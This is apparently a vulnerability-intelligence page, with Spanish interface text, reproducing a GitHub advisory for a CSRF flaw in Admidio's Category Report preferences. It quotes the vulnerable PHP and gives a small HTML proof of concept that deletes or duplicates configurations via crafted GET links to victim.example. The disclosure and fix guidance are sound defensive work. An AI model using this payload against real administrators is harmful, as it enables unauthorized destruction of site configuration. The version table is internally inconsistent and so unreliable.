llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · admidio/admidio

GHSA-MVX3-M6P6-7R9W

CSRF in Category Report preferences allows deleting or duplicating configurations via GET

Sin parche publicado
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición123 dDesde la divulgación, 20 jul 2026, 9:39 a. m.
Detección121 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
20 jul 26
18 nov 26
20 nov 26
20 jul 26
20 ago 26
20 sept 26
20 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-MVX3-M6P6-7R9W divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`modules/category-report/preferences.php` performs persistent Category Report configuration changes from GET parameters without validating an `adm_csrf_token`. An attacker can cause an authenticated administrator to visit a crafted URL and delete or duplicate Category Report configurations.

Credit requested: Yaohui Wang

Affected repository / versions

Repository: https://github.com/Admidio/admidio
Observed in:
- master at e1fe6fd2fcafb6a65a550760f79447abdef31461
- released tag v5.0.10
- released tag v5.0.9

Package: composer `admidio/admidio`

Vulnerable code paths

`modules/category-report/preferences.php`:

require_once(__DIR__ . '/../../system/login_valid.php');

if (!$gCurrentUser->isAdministrator()) {
    throw new Exception('SYS_NO_RIGHTS');
}

$getAdd = admFuncVariableIsValid($_GET, 'add', 'bool');
$getDelete = admFuncVariableIsValid($_GET, 'delete', 'numeric', array('defaultValue' => 0));
$getCopy = admFuncVariableIsValid($_GET, 'copy', 'numeric', array('defaultValue' => 0));

if ($getDelete > 0 && isset($config[$getDelete - 1])) {
    $config[$getDelete - 1]['id'] = $config[$getDelete - 1]['id'] * (-1);
    $config = $report->saveConfigArray($config);
}

if ($getCopy > 0) {
    $config[] = array(...);
    $config = $report->saveConfigArray($config);
}

There is no call to `SecurityUtils::validateCsrfToken()` and no form-object CSRF validation before the state-changing `delete` and `copy` branches.

`system/classes/CategoryReport.php` confirms that `saveConfigArray()` persists these changes:

public function saveConfigArray(array $arrConfiguration): array
{
    $gDb->startTransaction();
    foreach ($arrConfiguration as $values) {
        if ($values['id'] === '' || $values['id'] > 0) {
            $categoryReport = new Entity($gDb, TBL_CATEGORY_REPORT, 'crt', $values['id']);
            ...
            $categoryReport->save();
            $gSettingsManager->set('category_report_default_configuration', $defaultConfiguration);
        } else {
            $values['id'] = $values['id'] * (-1);
            $categoryReport = new Entity($gDb, TBL_CATEGORY_REPORT, 'crt', $values['id']);
            $categoryReport->delete();
        }
    }
    $gDb->endTransaction();
}

Impact

An attacker who can get an authenticated administrator to perform a top-level navigation can trigger unauthorized Category Report configuration changes:

  • `GET /modules/category-report/preferences.php?delete=1` deletes the first persisted configuration if present.
  • `GET /modules/category-report/preferences.php?copy=1` duplicates the first persisted configuration if present.

This affects integrity and availability of the Category Report module configuration. The server-side `delete` branch does not require the UI-generated delete link and does not enforce the UI limitation that only non-default configurations are shown with a delete button; direct requests are accepted if the referenced index exists.

Admidio session cookies are configured with `SameSite=Lax` (`src/Session/Entity/Session.php`), which still allows cookies on top-level cross-site GET navigations. Therefore, a normal link/form/window navigation is sufficient for CSRF; a token is still needed for these state-changing actions.

Minimal proof of concept

Prerequisites:
1. Category Report module is enabled.
2. The victim is logged in as an Admidio administrator.
3. At least one Category Report configuration exists.

A malicious page can trigger the delete action with a top-level navigation:

<!doctype html>
<html>
  <body>
    <a href="https://victim.example/modules/category-report/preferences.php?delete=1">View report</a>
    <script>
      // User interaction / top-level navigation variant:
      // location.href = "https://victim.example/modules/category-report/preferences.php?delete=1";
    </script>
  </body>
</html>

Expected result when visited by an authenticated administrator: `preferences.php` enters the `$getDelete` branch and `CategoryReport::saveConfigArray()` deletes the selected row from `adm_category_report` without any CSRF token.

A copy/clutter variant is also possible:

<a href="https://victim.example/modules/category-report/preferences.php?copy=1">View report</a>

Suggested fix

Move the persistent `delete` and `copy` operations behind POST-only handlers and require `adm_csrf_token` validation before calling `CategoryReport::saveConfigArray()`. Alternatively, require `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token'])` and reject GET for all persistent configuration changes in `modules/category-report/preferences.php`.

It would also be safer to enforce the server-side business rule that default / last remaining configurations cannot be deleted, instead of relying only on whether the UI renders a delete URL.

Suggested classification

CWE-352: Cross-Site Request Forgery (CSRF)

Suggested severity: Medium, although Low is also defensible depending on whether the authenticated administrator victim is modeled as `PR:H`. The vulnerability requires admin login state and user interaction, but it performs persistent configuration changes without token validation.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
admidio/admidio≤ 5.0.10
5.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistadmidio/admidio
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Admidio/admidio/security/advisories/GHSA-mvx3-m6p6-7r9w

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.